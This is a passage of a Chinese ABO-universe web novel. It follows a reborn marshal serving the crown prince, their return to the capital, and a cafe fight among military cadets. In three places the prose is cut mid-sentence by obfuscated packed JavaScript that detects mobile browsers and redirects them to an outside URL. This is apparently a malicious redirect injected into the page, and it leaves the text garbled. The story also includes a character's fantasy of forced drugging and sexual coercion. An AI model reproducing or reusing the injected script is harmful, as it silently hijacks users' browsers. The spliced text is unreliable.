沈清崖天天打得头晕目眩,晚上腰酸背痛地爬上床睡觉,第二天一起床又继续。 上辈子他是被秦曜按在床上干,这辈子是被秦曜按在训练舱里揍。 秦曜简直就是个万恶之源。 唯一值得庆幸的也就是他的身体素质跟综合战斗能力在秦曜的斯巴达训练下进步飞快,沈清崖毫不怀疑,照这么继续拉练下去,他过不了几个月就真的能变成全帝国最孔武有力的Omega了。 要不说秦曜这人是怪胎呢?别的Alpha都恨不得把Omega都娇养着做乖顺的金丝雀才好——这不怪他们沙文主义,实属刻在基因里的本能——唯独秦曜,他仿佛根本忘了沈清崖是个Omega一样,那是真下死手啊! 又一天拉练结束,沈清崖瘫在地毯上一根手指都抬不起来。 嘴里忍不住碎碎念:“这个狗果然是凭本事娶不到老婆,谁愿意嫁给他那真是脑壳坏了——” “你在说什么?” 秦曜不知道从哪冒了出来,边脱训练手套边瞅着瘫成一滩的沈清崖。 “……我在感慨殿下如此英明神武,战斗力超群,那些被许配给您又逃婚的Omega真是有眼无珠!” 秦曜嗤道:“你真这么想?” “比真金还真!” 沈清崖很有奴隶的自觉,拍完空泛的马屁盼着秦曜被自己这副谄媚的嘴脸恶心到,速速滚蛋,然而秦曜今天似乎心情不赖,竟颇有兴致地坐下跟他这个卑微的奴隶聊了起来。 “跑了也好,省得浪费我时间跟内阁的老顽固们掰扯。实话告诉你,我是个断袖。断袖知道什么意思吧?就是基佬。” “啊?”沈清崖懵了半晌才反应过来,这癫子这是莫名来了雅兴跟他出柜了啊? “还没听懂?那我直说了——我对Omega不感兴趣。 “所以你别想着勾引我,做那些不检点的事情,没用的。你我之间,就只是主人跟奴隶,撑死了是师父跟徒弟,其他的别妄想,明白了么?” 经过这些时日对沈清崖的磋磨,两人之间熟悉了不少,秦曜又以“主人和师父”自居,总算不再动不动对沈清崖喊打喊杀了。 但是一个人不讨喜的本质不会因为这点距离的拉近产生任何改变。 沈清崖无语:“……哦。” 太子殿下的态度十分高傲,还带着一丝若有若无的嫌弃与鄙夷——大约是想起了先前沈清崖的种种“不检点”行为,友善提醒。 沈清崖则想起了此人上辈子牲口不如的行为,再对比秦曜此刻这副贞洁烈A的嘴脸,嘴角忍不住直抽抽。 于是他岔开了话题:“殿下,我们什么时候回莉莉丝呀?” “明天下午。莉莉丝军院那边已经给你疏通过了,回了帝星就能入学。” 这下沈清崖是真挺高兴:“多谢殿下。” 秦曜睨他一眼:“但你去读书是一回事,不代表你就是自由身了。你要是敢妄想逃掉,后果你知道的。” 沈清崖霎时感觉脖子凉凉的,忙不迭道:“知道知道知道,不跑不跑不跑。” 秦曜这一趟来阿斯蒙帝斯本就是为了拍卖会,原本早些日子就该折返了,因为出了再生树跟米兰·休汀的小状况,才会逗留到现在。 现下事情都已解决,太子殿下日理万机,自然不可能在阿斯蒙帝斯继续无限逗留。 于是当晚,秦曜亲自清点了在阿斯蒙帝斯采购的物品。随从们就等着太子殿下清点过目完毕,便要将这些东西都装箱了。 沈清崖私心惦记着自己的枪,也跟着去凑热闹。 秦曜入住这家位于阿斯蒙帝斯中心的豪华酒店当天,酒店便清了场,其余闲杂人等,不论是客人还是非核心工作人员都被清了出去。 酒店负一层的保险地库用来给秦曜放他那些价值连城的拍品。 沈清崖跟着秦曜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000166|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,穿过了三道密码锁一道指纹锁一道人脸识别锁,共计五道钢化保险门,才进入到存放拍品的仓库当中。 仓库内很暗,沈清崖一眼就看见了放在仓库正中的狙击枪,一束顶光打在放置永恒的轮舞曲的玻璃柜上,经由玻璃和银色的狙击枪身折射,肉眼看去仿佛玻璃展柜内在飘雪。 银光闪烁,像雪片纷飞,一方人造的雪景,一柄孤寂的枪。 沈清崖克制住自己飞奔上前就地拆了玻璃抱走枪的冲动,眼巴巴看着。 太子殿下对身后Omega迫切的心情一无所知,只见他款步走向永恒的轮舞曲,目光像一方丝绸手绢一样从枪头缓缓滑向枪尾,又从枪尾徐徐滑向枪头。 沈清崖感觉怪怪的,老觉得秦曜像是在用眼神猥//亵他的宝贝枪一样,于是假装好学地问:“殿下拍下沈大元帅的遗物是有什么深意吗?” “深意?”秦曜的心思根本不在Omega身上,仍用那种让沈清崖毛骨悚然的眼神盯着永恒的轮舞曲,“倒也没什么特别的,只是他向来爱惜这把枪,若是有朝一日他回来了……不管人在天涯海角,肯定都得回来,找上门来讨枪吧。” “那……殿下就会把枪还给沈大元帅吗?” “‘还’给他?”秦曜轻飘飘斜了他一眼,半边顶灯恰好落在他身上,Alpha的脸色一半明晰一半阴影,在黑洞洞的仓库里鬼气森森。 “开什么玩笑?东西既然是我拍下了,契约书白纸黑字,所有权在我。永恒的轮舞曲,是我的东西,谈何‘还’给他。” “……那,呃,殿下是打算……?”沈清崖硬着头皮继续对话,其实他肠子都悔青了——根本多余一问,这条狗嘴里绝对吐不出什么象牙。 果不其然,秦曜在那半明半暗的灯光下诡异一笑。 “这个道理很简单嘛,三岁小孩儿都懂的——既然枪是我的东西,那他沈清崖要是想跟他的宝贝枪继续相依相伴,自然是,他也得成为我的东西了。 “届时这破枪,他想怎么玩怎么玩。至于他本人,呵,就得看我心情,本太子想怎么‘玩’,就怎么‘玩’了。” 沈清崖面无表情:“太子殿下,沈大元帅早就已经死了。什么回来不回来的……这些都是您的幻想。” 秦曜冷哼一声:“你懂什么。只要我想,这世界上还没有什么本太子做不到的事。你以为你身体里种的那是什么?哪怕只有个三魂半魄,我上天入地,也要把沈清崖弄回来。” “弄回来,然后呢?”沈清崖听着秦曜的这些癫言癫语已经麻木了。 回答他的是又一束自屋顶打下的灯光,仓库角落里,那瓶据说能扭转Alpha性别的违禁药品装在试管中,悬浮于真空玻璃球内,银蓝色的药液散发着某种不详的光。 “然后,把这药顺着他后颈注射进去,看你们的沈大元帅痛不欲生,求死不能,抓着我的裤脚一把鼻涕一把泪求我放过他……却又抵挡不住身体的变化,一点一点,在煎熬中生出Omega信息素,长出腺体……改变身体结构,然后像母狗一样,抵抗不住信息素跟荷尔蒙,求着我上他,哭着要给我生孩子——” 沈清崖:“…………” 发癫中的太子殿下整个人都沉浸在自己的世界里,这间仓库俨然成了他的变态妄想大舞台。 沈清崖恨自己怎么就不能莫名其妙地聋了。 他后悔了。 他就不该跟着来。 看一眼永恒的轮舞曲,精神污染二十分钟。 这笔账没算好,根本划不来。 18. 帝国的明珠 太子殿下平常日理万机,忙得很,难得来一趟阿斯蒙帝斯,除了参加拍卖会外,也顺带采购了些别的东西,仓库堆了挺满。 军械、军用装备、还有其他药品、稀奇古怪的小玩意儿、甚或少见的污染区造物。 游走在帝国律法边缘的地方,有的是其他地区所没有的自由,各种在莉莉丝购买不到的稀奇玩意儿在这里都有货源,即便是皇室成员也难抵诱惑。 “挑挑。”秦曜发完癫,重新回到正常人模式,向沈清崖展示他采购的物品,“有什么喜欢的、需要的就拿去。” 沈清崖还在刚才的心理阴影里没走出来,不敢相信太子殿下居然这么好心:“这不合适吧。” “让你拿着就拿着,我像是那种刻薄奴隶的小气鬼么?” 你确实不小气,你只是变态得令人发指。 沈清崖心里吐槽,但琢磨着秦曜都开口了,那他不拿白不拿,手到底还是诚实地摸了过去,挑选起来。 他原本的计划是接近秦曜后跟这位太子殿下混熟了,再找机会混个编制进军队,上战场,把上辈子没做完的事了了。 现在能进莉莉丝皇家军院,那就更方便了,这么一来,要进想去的军团的选择权更大些。 早做准备总没错。 这么想着,沈清崖挑挑拣拣,最后给自己挑了一把跟永恒的轮舞曲手感略微接近的八倍狙击枪,又拿了些能在短时间内增强体能、加倍训练效果的军用增强剂,向秦曜道了谢。 秦曜意味深长地:“八倍狙击枪?呵,你还真是沈清崖的粉丝啊?” 沈清崖低着头,自己夸自己:“毕竟以前看过不少沈大元帅的影像资料,觉得挺帅的,很憧憬,自己在家里偷偷练过很多次。” “嘁——也行吧,狙击手,倒也算适合你,不用冲在前面。只要你别学你那蠢偶像什么都大包大揽瞎逞英雄就行。” “……”沈清崖忽然意识到某件事,好奇道,“殿下,我毕竟是个Omega,您真的相信我能上前线?” 自污染战以来,就读军校的Omega倒还是有一些的,然而真正走上过前线的一只手都数得过来。 这一只手就能数得过来的Omega军人里,最后还都是要么提前退役,要么转战后方了。 秦曜却像是压根没把Omega跟Alpha天生的体能差距放在心上,眯着眼:“我读书加参军这么多年,见过的人多了,你算是有点天赋,现在军队正是缺人的时候,我警告你,你别想躲懒,什么Omega不Omega的,能打就上,少废话。” “……哦,小人受教。” 该说不说,太子殿下的性别平等意识远超帝国Alpha平均水平。 ——在这癫子眼里,没有什么Alpha还是Omega还是Beta。 一视同仁,通通都是牛马。 两人清点完东西又挑完了沈清崖要的,准备离开仓库时,一只白色的、毛茸茸的小东西颠儿颠儿地向沈清崖扑腾来。 “嘤嘤嘤~~~”想你啦~ 沈清崖接住两只复眼眯得弯弯的跟他撒娇的小白蛾,摸了摸小家伙柔软的翅膀。 见了这大幺蛾子几次,沈清崖感觉自己好像已经逐渐能理解它想跟他说什么了。 他抱着蛾子随口道:“殿下,这小家伙也是您这次在阿斯蒙帝斯购置的吗?” “……啊。” 秦曜回应得含糊,他盯着那在沈清崖怀里撒娇打滚的白蛾子一会儿,面色有些许的古怪跟疑惑,稍纵即逝。 待沈清崖再抬头的时候,太子殿下早已又恢复了平常的扑克脸。 沈清崖笑道:“它叫什么名字?殿下给它取了吗?这小家伙真黏人啊。” 秦曜嘴里咕哝了一句什么,沈清崖没听清:“嗯?殿下您再说一遍?” “……阿药,它叫阿药——吃错药那个药。” “呃,好名字。”沈清崖摸了摸鼻子,感觉哪里怪怪的,不过并未深究,又摸摸白蛾毛茸茸软绵绵的小脑袋,“阿药,以后多指教呀!” 一抬眼,发现太子殿下已经走出去好远了。 沈清崖只能抱着蛾子,一溜小跑追了上去。 . 拜秦曜在仓库里的癫言癫语所赐,当晚沈清崖又做了些难以启齿的梦,第二天醒来精神恍惚,一时分不清今夕何夕。 秦曜可不管他的奴隶状态如何,逮着沈清崖又是一通拉练,把可怜的Omega折腾得再次体力告罄后,才总算等来了来接太子殿下的星际专机。 与其说是“专机”,那更像一艘星舰。 巨大的机身遮天蔽日,降临在酒店上空之时,挡住了所有天光。那专机嗡鸣着徐徐降落,带起一片尘嚣喧嚷。 秦曜的随从——现在沈清崖知道他的名字了,他叫菲尼斯——笑着向沈清崖介绍:“没办法,因为不管是污染区还是非污染区里,想要干掉殿下的的人都太多啦,所以殿下出行安全第一,这种新开发的军用舰正合适给殿下做专机呢~” 沈清崖心想那确实,这么多年来秦曜还真是不少人的眼中钉肉中刺,这癫子能安安稳稳活到现在也算是运气好了。 面上他则只是含蓄地点点头,假惺惺表达了几句对殿下生命安全的关心,然后就跟着菲尼斯等一众随从一道登上了那艘巨大的星舰。 从第四星阿斯蒙帝斯飞往第三星莉莉丝,坐星际列车的话大约需要四天时间。 太子殿下专驾的速度跟平民星际列车不可同日而语,在漆黑的太空中穿梭了不到一天的时间,就已经能看见蓝色的帝星了。 星舰开始高速降落。 穿过云遮雾罩的大气层,经过正酝酿着一场暴雨的雷雨云,仿佛不过咫尺瞬息,属于帝星莉莉丝的繁华盛景已然出现在了脚下。 沈清崖趴在窗边俯瞰,莉莉丝大厦如定海神针般,细细长长的一根,高耸入云,周围一圈圈的高楼、巨塔,古典文明的遗迹与现代科技交融,相依相伴地以莉莉丝大厦为圆心扩散开去。 高楼林立,车马喧嚣,浓郁的人文气息历久弥新,从未曾因持续了数百年的战争而减去一分瑰丽。 这里就是帕罗迪斯帝国的明珠——帝星莉莉丝。 也是曾经的沈清崖生活了二十来年的地方。 星舰停在了帕罗迪斯皇宫花园内,所有人都跟着秦曜下了星舰。 迎接秦曜回宫的仆从跟仪仗队列了两列,从宫殿正门一直延伸到宫外。 秦曜今天在军服外披了个宝蓝色的斗篷,军舰降落时激起飓风,太子殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000167|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下的斗篷似旌旗招展,人如神兵天降。 列队整齐的仆从和依仗弯腰鞠躬,恭迎太子殿下回宫。 但秦曜作为那个被大张旗鼓迎接的人,脸色却不怎么舒展。 毕竟是皇宫重地,沈清崖今天也换了身正经的修身白西服,胸前别了个跟秦曜的斗篷同色的蓝宝石胸针,是菲尼斯特地给他的。 “我去跟父皇母后打个招呼,一会儿就出来,你到宫外等我。”秦曜整了整衣襟,眉眼淡漠。 太子殿下虽然丧眉搭眼的,不妨碍他走了两步,又回头凉凉道:“提醒你一句,别打逃跑的主意。我可不是你家那个没用的爹,整个帝星到处都有皇室的眼线,劝你老实些。” 沈清崖本来也没打算跑,见秦曜这副不好好说话的样子故意嘤嘤嘤地恶心他:“呜呜,殿下怎么到现在都不愿意相信小人?小人早已打定了主意要誓死追随殿下。生是殿下的人,死是殿下的死人,小人就算做鬼也要缠着殿下!” “……” 秦曜大步流星地走了。 系统:【报告宿主,攻略对象好感度下降3点。】 一旁的菲尼斯对沈清崖这手绝活叹为观止:“不愧是短短几天就让殿下刮目相看的米兰先生,果然很有一手,竟能将殿下恶心至此。” “叫我米兰就好了。”沈清崖笑眯眯,当人在夸他了,踱着小方步出了皇宫。 沈清崖重生之后一睁眼就是在莉莉丝大厦顶楼天台,下了天台就又马不停蹄地赶去了阿斯蒙帝斯“攻略”秦曜,甚至都没来得及多看一眼莉莉丝如今的样子。 趁着秦曜回宫的工夫,他便在市区内溜达起来。 八年时间,历史悠久而人文浓郁的帝星整体并未有太大改变,道路仍如从前一般车马喧嚣,高楼也一如当年,钢铁丛林般矗立。 帝星向来如此,帝国的明珠屹立不倒,瑰丽生辉,人们行色匆匆,忙于工作、忙于家庭。 尽管莉莉丝大厦的大屏上常年播放着征兵广告,尽管各大军校铺天盖地地招生,但这些信息就如平淡日常中穿插的白噪音,百年来早已令人麻木了,生活照常,一切照旧,莉莉丝人有自己的小确幸。 每个人都认为战争是离自己很遥远的事。 休汀家跟奥菲罗家对沈清崖的通缉令还没有取消,大街小巷里偶尔张贴了通缉公告,未免不必要的麻烦,沈清崖就换下了那身招摇的白西装,又给自己套了身罩袍,戴上帽子,找了间茶楼坐下。 菲尼斯一直跟着他,名曰监视,实际哥俩好地跟沈清崖一人盘踞桌子一角嗑瓜子。 茶楼咖啡厅这种地方,从古到今都是交换信息的重要据点。 沈清崖喝着茶发着呆,前后左右坐着的人说的八卦每个都听了一耳朵。 前面那桌是几个Alpha,眉飞色舞地在讨论创业,说要在莉莉丝最中心的凯撒大道上开一家钢管舞俱乐部,拍着胸脯保证生意肯定好。 “找最漂亮的Omega!跳最辣的舞!在最繁华的街道——这生意能不好吗!” 沈清崖啜着吸管喝了一口新品桂花味奶茶。 投最多的钱,干最刑的生意,惹最多的城管,当最冤的大头。 不愧是Alpha,八年前八年后都一样。沈清崖百无聊赖地想。 19. 禁止斗殴 左边那桌则是几个年轻Omega,一人点了杯精致的饮料,咔咔咔一通拍照修图发社交媒体后,开始互相吐槽自己的包办婚姻对象。 “我易感期还有两个月就到了,你们知道他说什么吗?居然催我在两个月内赶紧跟他结婚,就为了两个月后易感期一到就完全标记我!可我才跟他见过一面而已诶!匹配度也只有70%,这合理吗!” 其他Omega安慰他:“嗐,谁不是呢,我刚分化我爸妈就恨不得立马把我嫁出去让我一胎八个了,至于那些Alpha,更是都一路货色,不是什么好东西,满脑子就只有下三路。别气别气。” “就是,要嫁人我也想嫁点好的啊……比如皇室成员什么的……啊啊,不是不是,我不是说太子殿下!谁敢嫁太子殿下啊……我指的是二皇子殿下啦——”娇羞。 “哎……我也不想嫁人,听说现在各个军校跟部队都缺人,Omega也要,我都想报名了——去读了军校就不用马上嫁人了吧?” “哈?军校???不行不行!你想什么呢!那种地方除了Alpha还是Alpha,又累又危险,毕业了说不准还要被发配到边境星诶!还不如老老实实嫁人在家伺候Alpha照顾孩子呢,谁家好Omega读军校啊!” 几个Omega聊天的声音没有刻意压低,菲尼斯不由看了沈清崖一眼。 沈清崖无辜地眨眨眼睛,假装没有被内涵到。 也是巧了,左边的Omega们疯狂贬低军校,右边还就恰好是一桌军校生。 若是仔细看,就能认出他们身上穿着的靛青色制服和胸前的盾形校徽,正是全帝国最顶级的高等学府——莉莉丝皇家军事学院的校服。 那是几个年轻Alpha,二十出头的模样,刚分化没几年的Alpha胃口很好,点了一桌子菜大快朵颐。 剁椒鱼头、口水鸡、片儿皮烤鸭、牛腩煲、还有冰激凌厚多士…… 沈清崖盯着人家桌上的厚多士看得眼睛发直。 几个军校生边吃边聊天调笑。 “嘿嘿,要我说,沈大元帅最大的功德就是死都很会挑日子,正好挑在学校刚开学的时候死,安息日老师查不了作业,咱这不就可以回学校找学霸抄作业了么。” “搞不懂,都军校生了还布置这么多书面作业……我上军校前还以为每天只要打架训练就好,白瞎了我那么努力考来这里,梦想跟现实差距也太大。” “听说原先是没这么多的,都是当年沈大元帅在咱们学校当老师后起的头,说是军人的大脑跟体能同样重要,知识也跟武器一样重要什么的,我靠,结果他人嘎嘣一下挂了,我们活着的人受罪!” “嗐,本来就是,年年安息日,为了个死人兴师动众的。那些盲目崇拜沈元帅的人说得好像没了沈元帅帝国就不转了一样,实际上呢?他死了八年了,大家还不是该怎么过怎么过,战争打过来了吗?污染物侵略来了吗?依我看,都是皇室跟内阁对国民的恐吓罢了。” “现在清醒的人越来越多了,上面说征兵难,归根结底还不是民众有脑子了,不会再被骗了嘛!污染战到现在快一千年了,什么事都没发生。上面说污染区多可怕,沈元帅多英勇,我看根本都是谎言。愚民政策罢了!” 沈清崖实在忍不了了。 只见裹着罩袍的青年倏地站起身,旁边那桌的军校生给吓了一跳,纷纷抬头看他。 青年将手高高举起,军校生们愣愣看着。 “服务生,加一份冰激凌厚多士!要巧克力香草双球的,还要双份糖浆!!” “……” 军校生们无语地又把头转了回去。 没过几分钟服务生就端来了沈清崖刚点的冰激凌厚多士,切开一个角,里面果然刷了厚厚一层金黄色的糖浆,糖浆的甜味和可可、香草味混合,经由被烤得焦香酥脆的吐司裹挟,浓郁香甜,让人味蕾欢腾。 沈清崖挖了一块裹着糖浆的吐司,蘸了冰激凌,吃得满脸幸福。 “……我还以为你要拍桌跟隔壁的人叫板呢,你不是沈大元帅的粉丝么?”菲尼斯不解。 沈清崖挥挥手:“逝者已矣,生前身后,黄土一抔,他们说的也没错,活人总比死人重要。” “你还挺想得开。” “你吃么?”沈清崖好心地给菲尼斯挖了一块。 菲尼斯摇头:“不了,谢谢。升糖。” 沈清崖叹气:“你们皇室跟服侍皇室的人怎么都一个样,年纪轻轻就活得老人味这么重。” “米兰先生,你是在内涵太子殿下吗?” 沈清崖假装失聪,继续低头挖吐司。 旁边的军校生们仍在高谈阔论: “了却君王天下事,赢得生前身后名——要不说沈大元帅聪明呢?为皇室卖命一遭,上几次战场挣一身军功,死了都能流芳百世,真划得来——” “这么划得来,你怎么不去死一死呢?” 不知从何处传来掷地有声的一句质问,沈清崖挖巧克力冰激凌的勺子一顿,循着声源回过头。 只见他们正后方那桌上站起来一个人,正对右边那桌军校生怒目而视。 ……巧了,这人也是一身靛青色的莉莉丝军院制服,不过这个男生领口上滚了一圈白边,这是毕业班的制服样式。 吐槽沈清崖的那桌学生也瞧见了,原本莫名其妙被人怼,还愤愤不平地想骂两句,一看是学长,怕惹上麻烦,低头不吭声。 沈清崖没低头,他叼着勺子正大光明地盯着那个为沈大元帅伸张正义的毕业班学生,感觉这孩子有几分眼熟。 一头半长的黑发,束成一个小辫子扎在脑后,长得唇红齿白的,有几分女相,身材修长匀称,乍一眼看不出第二性别,跟没分化的青少年似的。 但那眉眼,那轮廓,沈清崖总觉得在哪里见过…… 这唇红齿白的毕业班小学长还不打算就此放过他们,一拍桌子,怒道:“你们别以为低着头吭叽就没事了?有本事把你们刚才说的话再说一遍?! “沈元帅在世时那么多年出生入死保家卫国,要是知道牺牲了自己保护下来的就是一帮你们这样的杂种,在天之灵都难以安息!” 右边那桌的学生被他义正词严一通输出骂得不爽,嘀咕:“什么安息不安息的,都专门给他设立安息日了,还要我们这些屁民怎么样啊……脑残粉真受不了……” 没想到小学长耳朵尖得很,又“啪”地一拍桌子,把桌子上的玻璃杯拍得直晃荡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000168|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 像是光拍桌子不解气似的,他拍完桌直接三步并两步冲了过去。 小学长揪起那个嘀嘀咕咕的学生衣领,怒道:“嘀嘀咕咕说什么呢?!骂谁脑残粉?你们这些不识好歹不知感恩的混账!沈元帅为你们牺牲还不如救条狗——” 另一人也来气了,就算是毕业班学长也不带这么欺人太甚的吧?更何况这“学长”长得一副未成年样,难以服众。 “我说我的,关你什么事啊?帝国法律规定了不能吐槽沈元帅了吗?而且他怎么就为我牺牲了啊?明明就是沽名钓誉被反噬……” 一拳毫不留情地挥了上去,速度快到叫所有人反应不及。 骂沈清崖的那个学生捂着脸坐在地上,人都被打懵了,等反应过来以后出离愤怒,站起身就跟前者扭打在了一起。 沈清崖跟菲尼斯坐的这桌正好被他们这两桌人夹在中间,旁边就是斗殴现场,一拳一脚挥过来,他们的桌子就抖三抖。 Omega胆战心惊地伸手护住即将崩塌的厚多士,纠结了几秒要不要上前劝阻,就见后桌另一个一直没说话的人跑过来,想阻隔打架的俩人。 “希尔因!别打了,你想被学校开除么?” 沈清崖一怔,猛然抬头,盯着那男生女相的莉莉丝军院小学长看了半晌。 五官长开了,身量也抽条长高了,从半大孩子变成青年了。 原本亚麻棕的头发不知道为什么染成了黑的,绿色的眼睛带了褐色的隐形眼镜,这才导致他一下子没认出来。 再看看拉架那个,嚯,这位就好认多了,跟小时候一样,一张万年扑克脸。 但看其高大的身形,应该是分化成Alpha了,跟从前的小豆丁早已不可同日而语。 八年了。 当年围着他转的小崽子们也长大了啊。 沈清崖没想到会猝不及防偶遇故人,想感怀一番时光飞逝,小小少年已成人,不过眼下情形没给他机会。 希尔因正在暴怒之中,一把推开了拉架的同僚,准备继续胖揍学弟。 服务生闻声赶来,拉也不敢拉,劝也不敢劝,拿着终端正准备报警,沈清崖悄无声息走过去,按住服务生的手,做了个口型:我来解决。 纤细的Omega一掀袍角,飘进台风中心。 希尔因拳头梆硬,明明身量比另一人瘦小不少,愣是凭借着一股不知是信念感还是蛮力的力量将人死死按在地上,一秒都不带犹豫就举着拳头要往人鼻梁上捶,气势万钧,在座的谁也拉不住。 沈清崖无声无息飘进人群中间,脚步一溜,瞬息间就站在了希尔因身后,没人看清他是什么时候出现的。 希尔因的拳头已经落下去一半了,忽然惊呼一声,整个人像一只张牙舞爪的猫一样被提溜着后脖领向后退去,等反应过来时,人已经坐在了地上。 不痛不痒,毫无感觉,似曾相识的手法,令人恍惚的瞬间。 “?”希尔因茫然地回头看去。 没人。 只有一片飘然而去的袍角。 那袍角无风自动,随着对方加速离去的脚步很快便消失在了茶楼门口,希尔因却怔愣了半晌,看得出神。 “沈老……师……?” 20. 我的母校 秦曜在皇宫里逗留了挺久,到天快黑了才出来,来到跟米兰休汀约好的莉莉丝中心大街——凯撒大道。 太子殿下踢了一脚蹲在马路牙子边数蚂蚁的Omega屁股:“起来。” 凯撒大道上人流熙攘,车水马龙,大家行色匆匆,没人关注这个角落。 地上的蚂蚁排队搬家正在进行时,沈清崖把手里最后一小块面包片掰成了三半,扔下地,面包的残骸迅速被几只蚂蚁瓜分干净抬走。 Omega小小一只,抬起头来,对着高大的Alpha傻笑:“殿下,您回来啦。” “嗯。” 秦曜脸色不怎么好看,想必是在皇宫里的经历不甚愉快——但那跟沈清崖又有什么关系呢? 上辈子跟秦曜认识那么多年,秦曜很少透露皇室内部的事情。 但沈清崖也不是傻子,种种痕迹都表明了秦曜跟皇室的关系不是那么融洽,他也不打算自寻晦气。 沈清崖拍拍屁股站起来:“那我们接下来去哪呀,殿下?” “酒店。” “……啊?这不合适吧……毕竟我们也不是那种关系……我清清白白一个Omega……” “没人打算跟你有‘那种关系’,都说了我对Omega没兴趣。”秦曜嫌弃道,“我平常不住皇宫,作为储君在宫外自行置办房产跟其他皇室成员分居会被内阁的人叽叽歪歪,我就在莉莉丝大厦包了个酒店套间,你身为我的奴隶,自然应该跟着搬进去——不要瞎意//淫,我对你完全没有那种想法。” “哦哦,太好了。”沈清崖点头如捣蒜。 “车很快来,在这等会儿。” “嗯嗯。” 沈清崖乖巧地站在秦曜旁边等车,两人相对无言了几分钟,秦曜忽然皱着眉问:“我回皇宫这么久,也没人拘着你,你就没有逃走的打算?” “没有啊,菲尼斯应该都向您汇报了吧?他不是您的眼线嘛!” “……”秦曜被沈清崖直白的表述方式噎了一下。 菲尼斯是秦曜的得力下属,他也确实把秦曜不在的这段时间里米兰休汀的动向都如实向他汇报了,事无巨细。 包括米兰在茶楼里路见不平拔刀相助,轻松解决了一起莉莉丝军院学生斗殴案一事。 秦曜不甘心地又问:“我连一个护卫跟保镖都没派去跟着你,只有一个没有战斗能力的随从菲尼斯,你就没想过跑?” 沈清崖莫名其妙:“殿下就这么想我跑?”这人莫非是有什么捉奸癖么? “……”秦曜抿着嘴跟沈清崖大眼瞪小眼半晌,所幸此时车到了,他便摆摆手,略过了这个话题,“上车。” Omega乖乖地跟着他坐上了悬浮车宽敞的后座,上了车就歪倒在车窗上呼呼大睡,毫不设防。 秦曜一身笔挺军装和斗篷尚未及换下,袖口跟米兰胸前类似款式的海蓝宝石光华流转。 他靠坐在后座的另一边,定定地注视Omega柔软的睡颜。 秦曜也说不上来这种奇怪又别扭的感觉是什么。 经过这段时间跟米兰休汀的接触,他大致将这个再生树的容器、自己强行收回来的奴隶兼徒弟的性格归纳为:看似人畜无害,实则滑不留手。 有时候,他会恍惚在米兰休汀身上看到沈清崖的影子。 等意识到后又觉得自己荒谬得可笑——沈大元帅日理万机,事事缜密,从不出错,虽说私底下偶尔粗线条,但跟这个Omega也属实是南辕北辙毫无可比性。 也不知道他怎么会产生这种莫名其妙的联想。 刚才那种情况,如果是沈清崖的话,一定能想出至少十种法子金蝉脱壳吧?怎么可能老老实实待在原地? 偏偏米兰休汀真就老老实实待在原地,老老实实等他出宫了。 多乖顺好控制的一个奴隶,秦曜自己都不知道自己心头这股微妙的失落感究竟是从何而来。 他皱眉,不再看米兰休汀,扭过头看向窗外。 他还有更重要的事,没那个时间精力搞什么替身文学——更何况米兰休汀跟沈清崖根本八竿子打不着,替身也不能不讲基本法。 太子殿下闭目养神,决定把这个荒诞的想法抛之脑后。 当晚秦曜没有再拉着沈清崖打他那些磨人的训练赛,因为三天后莉莉丝皇家军事学院就要正式开学了。 太子殿下在开学前临门一脚帮沈清崖走了个后门报上了名,莉莉丝军院不可能不卖太子殿下这个面子,就这么破格录取了这位肩不能抗手不能提的柔弱Omega。 “开学前你就好好休息,别累着。” 沈清崖受宠若惊:“殿下,我第一次知道您如此有人文关怀精神。” 秦曜冷笑:“你别忘了,再生树还种在你身体里呢。再生树以人类情绪为食,你如果情绪不佳丧眉搭眼的,跟给它喂……有何区别?” “啊?喂什么?”沈清崖没听清。 太子殿下军服笔挺,眉眼俊美如神祇,从小接受的严格贵族教育让他对某些市井粗俗言语实在难以说出口,憋了一会儿,终究是什么也没说。 他看着米兰休汀那张漂亮如花瓶的脸和清澈又愚蠢的表情,只觉心里莫名地气不顺,索性眼不见心不烦,拂袖离去。 沈清崖摸着下巴在原地沉思良久,一拍手:“哦,他想说喂屎! 嘟囔:“……这时候知道文明用语了,不是之前张口闭口说要草死别人的时候了?” 太子殿下军务繁忙,回到莉莉丝以后一刻也闲不下来,因此这几天沈清崖大多时候都独守空房,乐得清闲。衣来伸手饭来张口,吃了睡睡了吃,三天胖了三斤。 如果硬要说沈清崖有什么困扰,就是……他发现外界似乎传起了一些针对他的风言风语。 秦曜并未刻意隐瞒自己的动向,偶尔也有找太子殿下谈事的人往来这个酒店套间。 Omega好几次穿着睡袍打着哈欠走出门,下一刻就跟某位内阁大臣撞个脸对脸,看见对方脸上从疑惑到惊恐再到暧昧讳莫如深的表情变幻。 于是,等到学校开学的前一天,莉莉丝新闻日报就开辟了斗大一个版块,重磅发布: 